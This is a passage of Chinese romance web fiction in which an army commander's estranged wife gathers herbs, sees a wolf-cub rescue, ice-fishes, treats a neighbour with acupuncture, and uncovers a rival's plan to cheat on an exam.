霍沉舟一怔，随即淡淡道："没有机会说，而且我觉得你不在乎这个。" 霍沉舟眉头微皱："林怡宁？"他看着沈晚不悦的神情，突然明白了什么，"你刚才碰到她了？是她告诉你我对韭菜过敏的？" 沈晚抿着嘴不说话，霍沉舟无奈地叹了口气："之前有一次野外拉练，炊事班做的包子掺了韭菜，我没注意吃了一口。"他指了指自己的脖子，"结果全身起疹子，正好是林怡宁值班给看的。" 他顿了顿，语气平静："不是特意告诉她的，只是碰巧。" 沈晚闻言，也不好说什么了，再问下去搞得自己在吃醋一样，她冷着小脸道：“你快点吃饭吧。” 霍沉舟看着面前小女人今天异样的反应，心底突然有一种猜测，但他不敢问沈晚，怕自己猜错了。 第三十五章 遇到狼 霍沉舟注意到沈晚斜挎的的小布包："又要上山？" 沈晚点点头："对呀，上次采的草药不够用，得再采点。" 霍沉舟垂眸看着自己打着石膏的腿，又一次对自己的伤感到懊恼，如果没受伤，他就能和她一起上山了。 两人又聊了会儿霍小川上学的事。 等沈晚离开病房时，发现顾战正坐在走廊长椅上。 她挑眉："拉完肚子了？" 顾战讪讪地挠了挠脸："拉完了，你和团长聊完了？" "嗯。走吧，上山。" 山脚下蜿蜒着一条宽阔的大河，此时河面已经冻得结实。 沈晚好奇地踩上去，冰面厚实得能听见轻微的"吱嘎"声，透过晶莹的冰层，还能看见被冻住的大鲫鱼。 "顾营长，这里是不是可以捕鱼啊？" 顾战跺了跺脚试冰层厚度："可以是可以，但得有冰镩子和渔网。就靠你那把小锄头，估计连冰面都凿不开。" 一阵寒风袭来，他缩了缩脖子，"沈同志，咱还是先上山吧。" 有了上次的经验，沈晚这次轻车熟路许多。 她把大半张脸埋在厚厚的毛线围巾里，只露出一双灵动的杏眼，睫毛上很快结了一层细小的冰晶，衬得那双眼睛越发清亮透彻，像林间的小鹿般机敏。 两人在林中穿梭。 沈晚又多采了些透骨草、刺五加和黄芪。 还意外发现了几株挂着红果的沙棘树，沙棘果油可以润肤养颜，做成面霜比雪花膏还好用。 顾战看着沈晚小心翼翼地摘沙棘果，忍不住问："沈同志，这不就是普通的野果吗？你采它干什么？" 沈晚顺手塞给他几颗："尝尝。" 顾战不疑有他，一口咬下去，顿时整张脸都皱了起来："哎哟！怎么这么酸？都能当醋蘸饺子使了！" 沈晚忍俊不禁："沙棘果富含多种微量元素，可以润肺止咳、健脾消食。"她一边摘一边解释，"果油能治烫伤、冻疮，还能做成面霜护肤，比商店卖的雪花膏效果还好呢。" 顾战揉了揉发酸的脸颊："没想到这酸掉牙的小果子这么多用处。" 两人刚把沙棘果装好，又往山深处走了几百米。 突然，不远处的林子里传来一声凄厉的狼嚎。 顾战一激灵，立刻握紧了枪："有狼？"他将沈晚护在身后，声音紧绷，"沈同志，我们得马上原路下山！" 沈晚也神色凝重地点头。 虽然这次上山没采到多少药材，但命比较重要，冬天的狼多是群居，有一只狼，就可能有一群狼。 纵使顾战有枪，但子弹是有数的。 就在他们转身要走时，求救声从林子里飘来："救命啊——" 那声音稚嫩，听起来年纪不大。 顾战脸色骤变，作为军人，他不可能见死不救。 他迅速做出决定，沉声嘱咐道："沈同志，你先下山，我去看看情况！" 沈晚看着顾战疾步离去的背影，犹豫了一下，还是远远跟了上去。 她心想山上每天都有战士巡逻，听到动静应该很快就会赶来。 这附近除了部队驻地，还有几个村庄，很可能是哪家孩子跑上山，不知怎么招惹了狼。 沈晚跟着顾战，很快找到了求救声的来源—— 只见一个十来岁的少年正惊慌失措地奔跑，怀里紧紧抱着一只灰扑扑的小狼崽。 他身后不远处，一只体型硕大的母狼正龇着獠牙紧追不舍，绿莹莹的眼睛里满是凶光。 顾战立刻举枪瞄准。 母狼看到黑洞洞的枪口，猛地刹住脚步，但依然死死盯着少年，喉咙里发出低沉的咆哮。 沈晚拧了拧眉，偷了母狼的崽子，难怪人家追着不放！ "小兔崽子！"顾战厉声喝道，"把狼崽放下！" 少年吓得直哆嗦，脸色煞白，却仍抱着小狼崽不撒手："不、不行！俺爹说狼崽子能卖大价钱。" "要钱不要命了是吧？"顾战气得额头青筋直跳，“你以为附近就这一头狼吗？等一会狼群围上来，老子也救不了你。” 少年被顾战的话吓到了，终于哆哆嗦嗦地把怀里的小狼崽放到地上。 那小崽子一落地，立刻跌跌撞撞地朝母狼跑去。 母狼叼起幼崽，头也不回地转身消失在灌木丛中。 这时，沈晚身后传来杂乱的脚步声，一队巡山的战士闻声赶来。 少年抬头看见这么多持枪的军人，先是一愣，随即反应过来，一副受骗的样子瞪着顾战："你骗俺！我要是能把那只狼崽子卖了，赚的钱就能给俺妈治病了！" 顾战收起枪，没好气地拎起少年的后衣领："小兔崽子，要不是老子救你，你现在早进狼肚子了！" 顾战回头看见沈晚，惊讶道："沈同志，你怎么跟上来了？" 沈晚解释道："我猜巡山的战士很快会到，就跟上来了。万一有人受伤，我也能帮上忙。" 顾战让两名战士护送少年回家，板着脸警告道："小子，以后不许再自己上山了，遇到危险怎么办？" 少年撇着嘴把脸扭到一边，一脸不服气。 沈晚看着少年倔强的小脸，心里明白这个年代大多数人家都吃不饱饭，都想找门路赚钱。 她从布袋里取出几株刚采的草药："你要是真想帮家里，以后可以采这些。这些药材收购站都收，比抓狼崽子安全多了，而且只用在山的外围采。" 少年心里重新燃起希望：“真的能卖钱？” "当然，不过要晒干了才行。"沈晚微微一笑。 少年哪里见过像沈晚这样仙女般好看的人儿？他呆呆地望着沈晚白皙的脸庞和温柔的眉眼，心里莫名涌起一股信任："谢谢姐姐，你叫俺铁蛋就行！" "不谢，回家去吧。"沈晚轻轻拍了拍他的肩膀。 铁蛋擦了擦鼻涕：“漂亮姐姐，你也在部队吗？” 沈晚点点头：“对，暂时住在部队里。” “那等我成年了，我也要去当兵，漂亮姐姐你要等我！” 沈晚只当是少年玩笑话，没放在心上。 看着铁蛋蹦蹦跳跳跟着战士离开的背影，顾战叹了口气："靠山屯太穷了，年年青黄不接。不过部队已经在帮他们修水渠了，明年收成应该会好点。" 第三十六章 凿冰捕鱼 沈晚回去的路上，还惦记着河里那些肥美的大鲫鱼，这样的鱼去市场买也得花不老少钱，还需要水产券，不如自给自足。 "顾营长，我看那河里的鱼又大又肥，我想捞几条回家炖汤。" 顾战沉吟片刻："要想凿冰捕鱼，得用专门的冰镩子。" 沈晚好奇地眨眨眼："冰镩子是什么？" 顾战比划着解释："就是一根带尖头的铁棍，专门用来凿冰窟窿的。咱们部队没有，但靠山屯的村民肯定有，我去给你借。" "谢谢顾营长！"沈晚真诚地道谢。 顾战摆摆手："这有什么好谢的，我快去快回。"他说完就小跑着往靠山屯方向去了。 不到二十分钟，顾战就扛着一根一米多长的铁棍回来了。 那铁棍一头磨得锃亮，另一头焊着个锋利的三角锥。 "嚯，这工具够专业的。"沈晚接过冰镩子掂了掂，沉甸甸的。 顾战得意地挑眉："老猎户家的，说是最好使的一把。"他指着河面，"走，我教你凿冰窟窿。" 两人回到河边，顾战抡起冰镩子，对准冰面猛地一戳—— "咔嚓！" 冰屑四溅，一个碗口大的坑立刻出现。沈晚看得跃跃欲试："让我试试！" 她接过冰镩子，学着顾战的样子用力凿下去，却只留下个白印子。 顾战憋着笑指导："得用巧劲，手腕发力，像这样——" 在顾战的指导下，沈晚很快掌握了技巧。 不一会儿，一个直径半米的冰窟窿就凿好了。清澈的河水涌上来，隐约能看到鱼影游动。 顾战把顺道借来的渔网放进冰窟窿，不一会儿就捞上来三条肥美的大鲫鱼，两条有两斤重，还有一条有三斤重，在冰面上活蹦乱跳地扑腾着。 沈晚想着今天都是顾战帮的忙，不然她也捞不上鱼，便想把其中两条给他："顾营长，今天多亏你帮忙。这两条鱼你带回去吧。" 顾战拒绝了："沈同志，你家有小孩呢。这两条你都带回去，一条给小川炖汤，另一条给团长补身子。" 见顾战坚持，沈晚只好把最肥的一条塞进他手里："那这条你必须拿着，不然我过意不去。" 顾战看沈晚是真心的，便也不拒绝了：“那好，我拿回去和琴杉一起吃，正好给她补补脑。” 沈晚拎着两条肥美的大鲫鱼回到家属院，孙秀芝眼睛瞪得溜圆："哎哟，沈同志，你这鱼哪买的？这么肥，得花不少钱吧？" 沈晚笑着摇摇头："不是买的。" "啊？"孙秀芝一脸疑惑，"那这是..." “我在河里抓的。” "你上山了？"孙秀芝更惊讶了，"就你一个人？" "顾营长带我去的。"沈晚解释道，"用村民的冰镩子凿的洞。" 孙秀芝啧啧称奇："没想到你胆子还挺大的！这鱼真不错，炖汤最补了，你是不是抓来想给霍团长补身体啊？" 沈晚还没回答，孙秀芝就露出一副意味深长的表情："你们小两口感情这不是挺好的嘛？" 沈晚只笑不语，没有多加解释。 她回到家，把两条鲫鱼放进搪瓷大铁盆里，又舀了几瓢清水养着。鱼儿一入水鳃盖就一张一合，这样养到晚上还能吃个新鲜。 抬头看了眼挂在墙上的挂钟，这个老式钟表是棕红色的木质外壳，圆形的表盘上印着"为人民服务"的红字，黄铜钟摆有节奏地左右摇晃。 已经下午四点了，霍小川快要放学了。 沈晚麻利地把刚采的草药摊在竹簸箕上，顾不得收拾就匆匆出了门。 她记得早上答应过霍小川，要做第一个去接他的家长。 虽然只是小孩子随口一说的愿望，但沈晚却格外上心，她至今还记得自己上幼儿园时，每次眼巴巴等着父母来接的心情。 沈晚果然是第一个到托儿所的。 教室里，孩子们正被一位女老师带着唱儿歌："小燕子，穿花衣，年年春天来这里……" 她透过窗户扫视一圈，没见到早上那位黄老师。 霍小川正跟着拍手，突然瞥见窗外的沈晚，小脸瞬间亮了起来，下意识地挥了挥小手。 沈晚也冲他微微一笑。 接下来的十分钟里，陆陆续续有其他军属来接孩子。 佟莉娟来的时候，看见沈晚表情明显僵了一下，不自然地别过脸去。 她身旁的申盼弟趴在窗户上，眼巴巴地望着教室，眼底满是羡慕。 有位热心的大姐随口问道："佟嫂子，这是你闺女吧？怎么没和儿子一起上托儿所啊？" 佟莉娟语气硬邦邦的："这部队托儿所一个月要八块钱呢，女孩子家家的，上什么托儿所？在家帮俺干活就行了。" 那位大姐尴尬地笑了笑："噢噢。" 申盼弟听到母亲的话，失落地低下头。 四点半准时下课，霍小川第一个冲出教室，像颗牛犊似的扑进沈晚怀里："妈妈，你今天真的是第一个来接我的！" 沈晚揉了揉他的小脑袋："答应你的事，妈妈肯定要做到。" 后面出来的申耀祖听见这番对话，立刻不高兴地撅起嘴，胖手拽着佟莉娟的衣角："你为什么不是第一个来接我的？" 佟莉娟慌忙蹲下哄道："哎哟，宝贝儿子，妈妈这不是去买你最爱吃的桃酥了嘛！"她赶紧从兜里掏出油纸包，"你看，还热乎着呢！明天，明天妈妈一定第一个来接你！" 申耀祖一把抢过桃酥，抓起一块就往嘴里塞。 "桃酥可真香啊~"他故意把油纸包在申盼弟面前晃了晃，吃完一块还不忘夸张地舔舔手指，发出"吧唧吧唧"的声音。 申盼弟看着弟弟手里的桃酥，不自觉地咽了咽口水，小声哀求："妈妈，我也想吃，就一小块。" 佟莉娟眉头一皱："你女孩子吃这么多好东西有什么用？都是给你弟弟吃的，他可是咱们老申家的独苗！" 沈晚在一旁看得心里无语，这佟莉娟绝对是深受重男轻女思想的毒害，明明自己也是女的，偏偏还要虐待自己的闺女。 第三十七章 这男人跟谁甩脸子呢 霍小川回到家，一眼就看见盆里游动的鲫鱼，惊喜地蹲下来："哇！好大的鱼！妈妈你买的吗？" "不是，"沈晚笑着刮了下他的小鼻子，"是妈妈和顾叔叔在河里抓的。" 霍小川的眼睛顿时亮得像星星，看向沈晚的眼神满是崇拜。 在他心里，妈妈简直无所不能！会治病、会采药，现在连抓鱼都会！ 沈晚原本打算留一条鱼明天给霍沉舟送去，没想到还没到晚饭时间，其中一条鱼就翻了肚皮。 她赶紧捞出来，利落地去鳞剖腹，做了道香煎鲫鱼。 剩下的鱼鳞沈晚也没浪费，她用清水反复淘洗干净，放在小锅里加水慢慢熬煮。 不一会儿，鱼鳞就煮化成了晶莹的胶质——这可是天然的胶原蛋白，晾凉后就是上好的鱼鳞冻，拌上酱油蒜末就是一道爽口小菜。 鱼内脏她也仔细处理，鱼鳔晒干可以入药，治疗肺虚咳嗽；鱼籽用盐腌上，明天炒鸡蛋吃；就连鱼肠都洗净切段，准备和小白菜一起炒。 霍小川吃的津津有味：“好好吃。” 刚吃完晚饭，沈晚捂着圆鼓鼓的肚子正要去炕上休息，霍小川已经乖巧地把碗筷收进厨房。 还没等她躺下，就听见霍小川喊道："妈妈，这条鱼也死了！" 沈晚叹了口气，鱼死了放一晚上肯定不新鲜了。她只好挽起袖子，把最后那条鲫鱼炖成了一锅雪白的鱼汤，装进保温桶里。 这个点也不知道霍沉舟吃没吃饭。 到了军区医院，走廊上有很多医生护士都和沈晚打招呼，沈晚微笑着一一回应。 突然，一个相貌清秀的男医生迎面走来。 "沈、沈同志。"男医生有些局促地拦住她。 沈晚停下脚步，温和地问道："同志有事吗？" 张思德这还是第一次近距离看清这位团长夫人。 她乌黑的长发松松挽在耳后，衬得肌肤如雪，杏眼清澈透亮，鼻梁秀挺，唇色如初绽的樱花瓣般粉嫩，最吸引人的是那股沉静从容的气质，仿佛山间清泉般沁人心脾。 他的脸不自觉地红了，结结巴巴地说："沈同志，我叫张思德，是内科的实习医生。听说您医术特别精湛，我有几个问题想请教您，可以吗？" 沈晚爽快地点点头："可以啊。" 她把保温桶递给霍小川，"小川，你把鱼汤送过去，妈妈一会儿就来。" 霍小川乖巧地接过保温桶，蹦蹦跳跳地往病房走去。 张思德从白大褂口袋里掏出一个笔记本，翻到标记的一页："沈同志，我想请教关于针灸治疗风湿性关节炎的穴位配伍。我们科有个老红军，膝盖疼得厉害，但西药效果不太好。" 沈晚凑近看了看他画的穴位图，耐心解释道："除了常规的足三里、阳陵泉，还可以加灸关元和气海穴。"她用手指在图上比划，"最好配合艾灸，效果会更好。" 张思德听得两眼放光，不自觉地又靠近了些："原来如此！那针灸的深度和留针时间……" 两人越聊越投入，中间的距离也越来越近。 病房内，霍沉舟接过霍小川递来的保温桶，第一反应就是往他身后看。没看到那个熟悉的身影，他忍不住皱眉："就你一个人来的？" 霍小川摇摇头："不是啊，妈妈也来了。" "那她人呢？" "刚才有个叔叔想问妈妈问题。" "叔叔？"霍沉舟敏锐地捕捉到这个关键词。 张思德又接连问了沈晚两个专业问题，沈晚都耐心解答。 她纤长的睫毛在灯光下投下一小片阴影，随着眨眼的动作轻轻颤动，像蝴蝶振翅，发间若有若无的皂角清香，让张思德的耳根更红了。 "......所以这个穴位要斜刺三分，不能直刺。"沈晚说完，发现对方毫无反应，抬头唤道，"张医生？" 张思德猛地回神，脱口而出："不好意思沈同志，我刚才走神了......主要、主要你长得太好看了。" 沈晚眨了眨眼，没想到会听到这么直白的夸赞。 还没等她回应，周围温度仿佛骤降，一股寒意从不远处袭来。 张思德忍不住搓了搓胳膊：“怎么感觉有点冷。” 一抬头，他吓得差点从椅子上摔下来。 只见霍沉舟不知何时站在前方，虽然右腿还打着石膏拄着拐杖，但那股凌厉的气势丝毫不减。 他高大的身影逆着光，棱角分明的脸上覆着一层寒霜，眼神冷冽。 张思德咽了口唾沫，后背冒出一层冷汗："霍团长。" 沈晚闻声回头，正对上霍沉舟那张冷到极致的脸。 她不明所以："你怎么出来了？" 霍沉舟不怒反笑，唇角勾起一抹危险的弧度："怎么，我不能出来？" 沈晚微微皱眉：“我不是这个意思。” 霍沉舟薄唇紧抿，眼神阴沉地盯着她，浑身散发着低气压。 沈晚一头雾水，完全不明白这男人突然发什么疯。 张思德终于察觉到气氛不对，连忙告辞："沈同志，我先去查房了，今天多谢你了！"说完转身就走了。 等张思德离开后，霍沉舟硬邦邦地甩出两个字："过来。" 这男人跟谁甩脸子呢？ 沈晚心里升起一团火气，她站在原地没动：“霍团长，我不是你手下的兵，不用听你命令。” 霍沉舟见她不动，直接拄着拐杖大步走来，一把扣住她的手腕把她往旁边的楼道里拉。 沈晚下意识想甩开他的手，可一瞥见他打着石膏的右腿，又怕用力过猛伤到他，只能冷着小脸跟着进了楼道。 昏暗的楼道里只有一盏小灯泡忽明忽暗，两人的影子在墙上交叠。 正当沈晚疑惑霍沉舟要做什么时，男人突然松开了拐杖。 "你干什么？"沈晚惊呼一声。 下一秒，霍沉舟已经单手撑墙，将她困在墙角："你认识刚才那个男医生？" 他高大的身影笼罩下来，带着不容抗拒的压迫感。 沈晚后背紧贴着冰凉的墙壁，能清晰地感受到他灼热的呼吸喷洒在额前。 "不认识，"她仰头直视霍沉舟的眼睛。 第三十八章 别让妈妈走 霍沉舟眸色更深，另一只手抬起她的下巴，拇指不轻不重地摩挲着她的唇瓣，："那你们聊为什么靠那么近？他还夸你好看？" 沈晚微微皱眉："他是在问我针灸的问题，你想哪去了？" 霍沉舟缓缓低下头，两人的距离近到呼吸交融，沈晚甚至能数清他浓密的睫毛。 昏暗的灯光下，男人深邃的眉眼像是晕染开的水墨，鼻梁高挺的轮廓在脸颊投下一小片阴影。 他的唇几乎要贴上她的，呼吸灼热："问问题需要靠这么近？" 沈晚不自觉地屏住呼吸，心脏在胸腔里疯狂跳动，她睁大的杏眼里映着霍沉舟放大的俊脸。 沈晚眨了眨眼，看着男人隐忍克制又带着几分危险的表情，突然闪过一个荒谬的念头——这男人该不会是在吃醋吧？ 她咽了口唾沫，立刻否定了这个想法。 自己真是疯了，霍沉舟怎么可能会因为她吃醋？八成是觉得两人还没正式离婚，怕她行为不检点影响他声誉。 霍沉舟看着她脸上精彩的表情变化，猜不透她在想什么。 视线却不自觉地落在她粉嫩的唇瓣上，那两片柔软的唇因为惊讶微微张开，隐约能看到一点洁白的贝齿。 喉结滚动，他突然有种想尝一尝的冲动。 就在他低头准备付诸行动时，楼下的楼道里突然传来"吱呀"的开门声，紧接着是一道娇滴滴的女声："有人怎么办啊？" "这个点不会有人的，放心吧。"一道男声急切回应。 沈晚刚疑惑这对男女要做什么，就听见楼下传来"啾"的一声轻响，接着是黏腻的水声和急促的喘息。 那暧昧的声响在空荡的楼道里格外清晰，伴随着衣料摩擦的窸窣声。 沈晚的脸"腾"地烧了起来，已经意识到他们是在干什么了。 不是说这个年代的人都很害羞内敛吗？怎么还有人偷偷在楼道里亲嘴的？ 现在这情形，走也不是，不走也不是。 她狠狠瞪了一眼面前的霍沉舟。 霍沉舟却纹丝不动，依然保持着将她圈在怀里的姿势。 男人的鼻息若有似无地拂过沈晚敏感的耳廓，激起一阵细微的战栗。她咬住下唇强忍着痒意，生怕发出一点声响惊动楼下那对小情侣。 男人垂眸看着她强忍的模样，唇角勾起一抹坏笑。 幸好那对小情侣也怕被人发现，亲了不到两分钟就匆匆离开。 随着"咔哒"的关门声，沈晚如释重负，猛地推开霍沉舟—— "嘶！" 她忘了男人还伤着腿。霍沉舟一个踉跄，差点没站稳，疼得倒抽一口冷气。 "你没事吧？"沈晚下意识伸手去扶。 却被霍沉舟揽进怀里，又充当人形拐杖。 霍沉舟语气揶揄：“谋杀亲夫？” 沈晚看着他这副不着调的样子，皱起小脸："你的腿又没好利索，瞎折腾什么？" 她扶着霍沉舟一瘸一拐地回到病房，霍小川立刻跑过来，仰着小脸问道："爸爸妈妈，你们刚才去哪了？小川出去找你们都没找到。" 沈晚没好气地翻了个白眼："问你爸。" 霍沉舟面不改色地坐到病床上：“探讨问题。” 霍小川若有所思地"噢"了一声，手脚并用地爬上病床，打开保温桶："爸爸，你快看！这是妈妈亲手抓的鱼，可大啦！" 雪白的鱼汤散发着诱人的香气，霍沉舟挑眉看向沈晚："山下抓的鱼？" 沈晚轻轻"嗯"了一声。 霍沉舟舀了一勺鱼汤送入口中，鲜美的滋味在舌尖蔓延。 他三口两口就喝下大半碗鱼汤。 沈晚起身去卫生间，霍小川见妈妈暂时不在，立刻神秘兮兮地冲霍沉舟招了招手。 霍沉舟俯身凑近："怎么了？" 霍小川小手挡在嘴边："爸爸，你真的要给我找个后妈吗？" 霍沉舟眼神骤然一沉："谁跟你说的？" 霍小川委屈巴巴地说："院里的婶子们说你和妈妈离婚后，肯定会给我找个更好的后妈，爸爸，我不想要后妈，我就想要妈妈，你可以别让妈妈走吗？" 霍沉舟揉了揉他的小脑袋："好。" 霍小川眼睛瞬间亮了起来："真的？那我们拉勾！" 霍沉舟宠溺地伸出手，霍小川郑重其事地勾住他的小拇指："拉钩上吊，一百年不许变！" 沈晚从卫生间出来，正甩着手上的水珠，看见父子俩神神秘秘地凑在一起，也不知道在嘀咕什么。 等她一走近，父子俩立刻分开，装作若无其事的样子，沈晚挑了挑眉，总觉得这两人有什么猫腻。 回家的路上，沈晚问霍小川："小川，刚才你和爸爸说什么悄悄话呢？" 霍小川想到爸爸的嘱托，"嘿嘿"一笑："保密！" 沈晚轻轻勾了下他的小鼻子："小滑头。" 晚上，沈晚提着尿壶往公共厕所走去，天气这么冷，晚上是不可能去公共厕所解决的。 刚开始沈晚也很不适应，但比起半夜穿戴整齐跑去零下几十度的公共厕所，这点不适也算不得什么了。 倒完尿壶往回走时，沈晚突然瞥见家属院暗处闪过一道鬼祟的身影，那人蹑手蹑脚地溜了出去。 借着月光，沈晚一眼认出那熟悉的背影。 她眯了眯眼，有点怀疑苏琴杉鬼鬼祟祟要干什么去，把尿壶放下，便跟了上去。 离大院门口百来米的地方，一个男人站在老树后冲苏琴杉招招手：“苏同志，这里。” 幸好沈晚视力好，认出这个男人正是上次在办楼前和苏琴杉一起的干部。 苏琴杉从男人手里接过一张纸条，然后娇滴滴捏着嗓子：“谢谢童大哥。” 她今天特意打扮过，乌黑的长辫垂在胸前，辫尾系着两条红头绳，半新的蓝布棉袄衬得小脸越发白皙清秀。 此时她微微低头，睫毛轻颤，双手不自觉地绞着辫尾，一副羞怯可人的模样。 对面的童程鹏被她这副模样弄得有点不好意思，红着脸挠了挠耳朵："不用谢，苏同志。咱俩是老乡，互帮互助应该的。你按照这上面的内容复习，后天的文员考试肯定能过。" 第三十九章 顾战迷茫了 苏琴杉声音声音甜的像是能滴出蜜来："童大哥，你人真好，等我考上了，一定好好谢谢你。" 童干部被她哄得晕头转向，连连摆手：“没事没事，但是你不能乱传，不然被领导知道了，咱俩都得遭殃。” "放心吧，童大哥。"苏琴杉举起手保证。 沈晚心中冷笑，原来苏琴杉是想靠作弊通过宣传科的考试。 等童程鹏离开后，苏琴杉把纸条塞进兜里，然后才从树后走出来，结果迎面碰上沈晚，她脸色一僵，随即恢复自然："你跟踪我？" 沈晚似笑非笑地抱胸而立："顾营长知道你这么干吗？" 苏琴杉扬起下巴，脸上丝毫不见慌乱："有本事你就去告状啊，你猜他是相信我这个未婚妻，还是相信你？" "不过~"苏琴杉语气一转，脸上又挂上笑容，"沈同志，我劝你还是趁早找份工作吧，等霍团长和你离婚后，你连养活自己都成问题呢。听说供销社在招售货员，虽然一个月才十八块钱，但对你这样没什么文化的人来说，再合适不过了。" 苏琴杉说完，也不给沈晚反驳的机会，直接扭身绕过她走了，辫子一甩一甩的。 沈晚拧了拧眉，决定明天找顾战好好敲打敲打他。 顾战刚回到家，正巧看见苏琴杉哼着小曲从外面回来，脸上还带着掩饰不住的喜色。 "琴杉，遇到什么开心事了？"顾战随口问道。 苏琴杉眼神闪烁了一下，故作轻松地说："没啥事，就是觉得后天的考试稳了。" 顾战宠溺地捏了捏她的脸："这么有信心啊？行，等你考上了，我请你去国营饭店吃饭！" 苏琴杉敷衍地应着："知道啦知道啦，我还要复习，先回房间了。"说完就匆匆钻进了卧室，反手关上了门。 顾战望着紧闭的房门，无奈地摇了摇头。虽然两个人已经是名义上的夫妻，但毕竟还没领证，所以一直分房睡。 第二天清晨，顾战起床后熬了小米粥，蒸了几个馒头，又炒了盘咸菜。 准备好早饭，他敲了敲主卧的门："琴杉，早饭在锅里热着，你起来记得吃。" 屋内传来苏琴杉慵懒的回应："知道了。" 顾战这才套上棉大衣，踩着积雪出了门。刚走到家属院拐角，就看见沈晚正在院子里摆弄草药。 "沈同志早。"顾战主动打招呼。 沈晚抬头看见他，拍了拍手上的药渣："顾营长，正好有事找你。" 她左右看了看："昨晚我看见苏琴杉一个人出了大院，和一个姓童的干部见面。那个童干部给了她一张纸条，说是能帮她稳过考试。" 顾战眉头一皱：“姓童的干部？沈同志，你是不是看错了？琴杉这些天都很认真地复习，她不是这样的人。” 沈晚直视顾战的眼睛："昨天晚上我亲眼看见、亲耳听到的，不会有假。而且她和那个童干部是老乡关系。" 顾战若有所思："我好像听琴杉提过，她是有个在宣传科当干事的老乡，但应该只是问他要了些复习资料吧？作弊这种事她做不出来。" 见顾战还在为苏琴杉开脱，沈晚耸了耸肩："反正我把知道的都告诉你了。你要是不信，可以回家找找，看屋里有没有那张作弊的纸条。" 顾战看着沈晚认真的神情，心里不禁打起鼓来。 毕竟沈同志是什么人，他心里最清楚了。 可是琴杉是什么人，他也清楚啊，他们可是从小一起长大的青梅竹马。 顾战迷茫了…… 沈晚看着他那副呆愣的模样，就猜到他心里想什么，有点恨铁不成钢。 正好张德志披着衣服从家里出来了，喊了一声：“顾营长，别聊了，今天早训别迟到了。” 顾战回过神，答应一声：“沈同志，我得先走了。” 沈晚点点头。 忙活了一早上，空闲下来时，她开始着手处理昨天采的沙棘果。 她先找出一个搪瓷盆，把沙棘果洗净晾干，再用擀面杖捣碎果肉。 然后将捣碎的果肉用纱布过滤出汁液，倒入小铁锅，又加入凡士林和几滴甘油。 小火慢熬，直到混合物变成橙红色的粘稠膏体。 "成了！"沈晚用筷子挑了一点抹在手背上，滋润又不油腻。 她分装了两小盒，打算给赵姐送一盒，剩下的一盒自己用。 虽然她也很想多一个营生，但是想卖化妆品需要办理营业执照，不然就是无证经营，犯法的。 沈晚拿着润肤膏去隔壁找赵晓燕，刚进院子就闻到一股浓郁的酱香味。 赵晓燕正蹲在灶台边熬大酱，铁锅里棕红色的酱汁咕嘟咕嘟冒着泡，她用长柄木勺不停搅动。 "妹子来了！"赵晓燕抬头看见沈晚，立马笑着招呼。 "赵姐，这是我做的润肤膏，拿来给你试试。" 赵晓燕额头、鼻尖沁出细细密密的汗珠："我这手脏着呢，一会再试。" 沈晚把润肤膏放在桌上："赵姐，你这是在做什么？" "这可是东北人最爱吃的大酱啊！蘸大葱、蘸黄瓜、炖菜都香得很！" 赵晓燕舀起一勺递给沈晚闻，"你闻闻，这味儿多正！" 浓郁的酱香扑面而来，沈晚忍不住深吸一口气："好香！" 赵晓燕忍俊不禁：“等做好了，给你装一罐。” 沈晚关心地问道："张大哥这几天对你怎么样？还和你吵架吗？" 赵晓燕摇摇头："我跟他说你有把握能让我怀上孩子，他现在可听话了，天天抢着干活，生怕我累着。" 沈晚欣慰地点点头："那就好。那你身体有没有什么不舒服吗？" 赵晓燕回忆了一下："就是感觉更有精神了，之前肚子老是凉飕飕的，现在也暖乎了。还是你本事大，那几副药真管用！" 沈晚笑着往灶膛里添了把柴火："这才刚开始调理呢，今天下午我再给你扎一次针，效果会更明显。" 熬大酱的空隙，赵晓燕把手洗干净，挖了一指沈晚做的润肤膏。 淡黄色的膏体在掌心化开，带着淡淡的香气，抹在手上却意外地清爽不油腻。 赵晓燕来回搓着手："这膏子抹上咋这么舒服呢？一点都不黏糊，还滑溜溜的！我感觉比百货商店里的雪花膏还好用！" 第四十章 霍沉舟刁难张思德 下午，赵晓燕收拾完家里，正准备去找沈晚，刚出屋就撞见了李丽。 李丽见她又要去找沈晚，忍不住讥讽道："哟，又往沈晚屋里钻呢？" 赵晓燕冷冷瞥她一眼："要你管？" "嘿！"李丽先是一气，随即眼珠一转，勾起一抹笑容，"赵晓燕，你和老张结婚这么多年，连个孩子都没有，这不是占着茅坑不拉屎吗？正好，我有个特别灵的土方子，你吃了保准能怀上！" 赵晓燕翻了个白眼：“用得着你假好心？你要是有这方子，之前怎么不给我？” 李丽哼了一声："这是我婆婆刚从老家寄来的，想让我凑个好字，儿女双全呢！" 赵晓燕无语地摆摆手："那你自己留着吃吧，我对你的土方子可没兴趣。" "切！"李丽撇撇嘴，"那个沈晚不是会什么医术吗？她怎么不帮你看看？也就你傻乎乎地往人家跟前凑，不知道人家在背后怎么笑话你呢！" 赵晓燕叉起腰："人家小晚妹子可不像你！至少人家不会乱嚼舌根！" 李丽被怼得脸色铁青，气急败坏地跺脚："活该你怀不上孩子！" 赵晓燕懒得再搭理她，转身来到沈晚家。 沈晚正在整理药材，见她进来，抬头问道："刚才在和李丽吵架？" "可不是嘛！"赵晓燕一屁股坐在炕沿上，"她非说什么老家寄来个能怀孕的方子，非要让我试试。哼，我才不信她有那么好心！" 沈晚取出针包，示意赵晓燕躺下："把衣服撩起来吧，赵姐。" 赵晓燕利索地躺平，掀起衣摆露出小腹：“妹子，我就信你。” 第一针落下时，赵晓燕"嘶"了一声："哎呦，有点胀..." "正常反应。"沈晚手下不停，又精准地扎了几针，"气血通了就会好。" 赵晓燕躺着没事干，又和沈晚闲聊："听说苏琴杉报名了宣传科干事考试，明天不就考了？也不知道她能不能过。要是过了，那可就是家属院里的头一份了。" 她说完突然意识到什么，不好意思地笑了笑："当然也比不过妹子你有本事。" 沈晚无所谓地笑了笑，又想到苏琴杉想作弊的事情，犹豫了一下，不知道要不要告诉赵晓燕。 赵晓燕见她不搭话，抬头看了一眼："妹子，我看你好像不太喜欢苏琴杉？但你们不是刚认识吗？她嘴也不像李丽她们那么碎，看着也是个会过日子的。" 沈晚微微扯唇："我这人比较信面相和第一感觉。第一次见到赵姐就觉得亲切，对她就差点意思。" 这话又把赵晓燕哄高兴了，她乐呵呵地说："那是！咱俩投缘！" 扎完针，赵晓燕整理好衣服坐起身来。沈晚走到桌前，拿起笔："今天给你开张新药方。" "好嘞！"赵晓燕好奇地凑过去，俯身看着沈晚在纸上写下龙飞凤舞的字迹。 那些药材名称她一个也不认识，却不妨碍她由衷赞叹："妹子，你字写得可真好看，跟画儿似的！" 